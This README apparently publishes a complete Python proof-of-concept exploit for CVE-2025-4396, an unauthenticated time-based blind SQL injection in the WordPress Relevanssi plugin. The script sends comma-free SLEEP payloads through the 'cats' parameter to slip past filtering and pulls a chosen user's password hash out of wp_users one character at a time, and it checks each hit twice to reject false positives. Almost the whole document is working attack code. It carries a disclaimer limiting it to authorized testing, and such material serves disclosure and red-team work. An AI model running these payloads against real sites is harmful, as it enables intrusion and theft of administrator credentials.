README.md
Rendering markdown...
#!/usr/bin/env python3
"""
=============================================================================
CVE-2025-4396 - WordPress Relevanssi SQL Injection (Time-Based Blind PoC)
=============================================================================
Author: [n3fhara]
Date: 2026-03-18
Version: 1.0 (Standard Edition)
Target: WordPress with Relevanssi Plugin (Vulnerable to CVE-2025-4396)
Description:
------------
This Proof of Concept (PoC) exploits an unauthenticated Time-Based Blind SQL
injection vulnerability within the Relevanssi plugin (CVE-2025-4396). The
injection occurs via the 'cats' parameter.
To bypass strict comma filters implemented by the application, this script
utilizes mathematical boolean evaluation:
e.g., SLEEP(3 * (ASCII(SUBSTRING(...))=CHAR))
The script is specifically designed to extract the WordPress user password
hash, fully supporting the new WP 6.8 hash format (HMAC-SHA384 + Bcrypt).
Disclaimer:
-----------
This tool is provided for educational and authorized testing purposes ONLY.
It is intended for Red Team / Purple Team assessments. Do not use this tool
against any systems for which you do not have explicit, written permission.
Usage:
------
python3 CVE_2025_4396.py -t "https://target.local/?s=test&cats=" -u 1 -s 3 -v
=============================================================================
"""
import requests
import time
import urllib3
import argparse
import sys
import logging
# Disable SSL/TLS warnings (useful for local labs with self-signed certs)
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
# Full charset required to extract WP 6.8 Bcrypt hashes ($ and . included)
CHARSET = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789$./"
MAX_HASH_LENGTH = 64 # Maximum length for WP 6.8+ hashes
def parse_args():
"""Parse command line arguments."""
parser = argparse.ArgumentParser(description="Standard PoC for CVE-2025-4396 (Time-Based Blind SQLi)")
parser.add_argument("-t", "--target", required=True,
help="Target URL including vulnerable parameters (e.g., https://target.local/?s=test&cats=)")
parser.add_argument("-u", "--userid", required=True, type=int,
help="The WordPress User ID to extract the hash from (e.g., 1 for admin)")
parser.add_argument("-s", "--sleep", default=3, type=int,
help="Base sleep time for SQL execution in seconds (default: 3)")
parser.add_argument("-v", "--verbose", action="store_true",
help="Enable verbose debug logging")
return parser.parse_args()
def setup_logger(verbose):
"""Configure the logging module for console output."""
level = logging.DEBUG if verbose else logging.INFO
logging.basicConfig(
level=level,
format='[%(asctime)s] [%(levelname)s] %(message)s',
datefmt='%H:%M:%S'
)
# Reduce noise from underlying HTTP libraries
logging.getLogger("urllib3").setLevel(logging.WARNING)
def extract_hash(target, user_id, sleep_time):
"""
Core extraction loop using Time-Based Blind SQL injection.
Args:
target (str): Base URL with vulnerable parameters.
user_id (int): Target WP User ID.
sleep_time (int): Threshold in seconds to determine True/False conditions.
Returns:
str: The extracted password hash.
"""
extracted_hash = ""
logging.info(f"Starting reliable hash extraction for User ID {user_id}...")
logging.info(f"Target: {target}")
logging.info(f"Sleep time threshold: {sleep_time}s")
# Warm-up request: Absorbs initial DNS/TLS handshake latency to prevent false positives
logging.debug("Sending warm-up request to stabilize network latency...")
try:
requests.get(target, verify=False, timeout=5)
except requests.exceptions.RequestException:
pass
print("\n[+] Extraction in progress (Double-verification Anti-Jitter enabled):\n")
for pos in range(1, MAX_HASH_LENGTH + 1):
found_char = False
for char in CHARSET:
char_ascii = ord(char)
# Mathematical payload without commas (Relevanssi WAF bypass)
payload = f"1) AND (SELECT SLEEP({sleep_time}*(ASCII(SUBSTRING((SELECT user_pass FROM wp_users WHERE ID={user_id}) FROM {pos} FOR 1))={char_ascii})))-- -"
# Simple URL encoding for spaces
payload_encoded = payload.replace(' ', '%20')
full_url = target + payload_encoded
logging.debug(f"Testing char '{char}' at pos {pos}...")
start_time = time.time()
try:
# Setting timeout slightly above sleep_time to avoid hanging indefinitely
requests.get(full_url, verify=False, timeout=sleep_time + 10)
elapsed_time = time.time() - start_time
except requests.exceptions.ReadTimeout:
# If timeout is triggered, the sleep occurred (True condition)
elapsed_time = sleep_time + 10
except requests.exceptions.RequestException as e:
logging.error(f"Network error: {e}")
continue
# ==========================================
# ANTI-JITTER: Double Verification Phase
# ==========================================
if elapsed_time >= sleep_time:
logging.debug(f"Potential match for '{char}' (Time: {elapsed_time:.2f}s). Verifying...")
start_time_verify = time.time()
try:
requests.get(full_url, verify=False, timeout=sleep_time + 10)
verify_time = time.time() - start_time_verify
except requests.exceptions.ReadTimeout:
verify_time = sleep_time + 10
if verify_time >= sleep_time:
extracted_hash += char
# Interactive inline output
sys.stdout.write(f"\rHash: {extracted_hash}\n")
sys.stdout.flush()
found_char = True
break
else:
logging.debug(f"False positive rejected for '{char}' (Verify time: {verify_time:.2f}s)")
# If the charset loop finishes without finding a character, end of hash is reached
if not found_char:
print(f"\n\n[-] No character found at position {pos}. End of hash reached or filter triggered.")
break
return extracted_hash
def main():
"""Main execution flow."""
args = parse_args()
setup_logger(args.verbose)
try:
final_hash = extract_hash(args.target, args.userid, args.sleep)
if final_hash:
print(f"\n\n[!] Extraction complete. Valid Hash: {final_hash}\n")
sys.exit(0) # Standard success exit code
else:
logging.error("Failed to extract hash. Check if the target is vulnerable or if the sleep time is sufficient.")
sys.exit(1) # Standard error exit code
except KeyboardInterrupt:
print("\n\n[!] Extraction aborted by user.")
sys.exit(130) # Standard exit code for SIGINT (Ctrl+C)
if __name__ == "__main__":
main()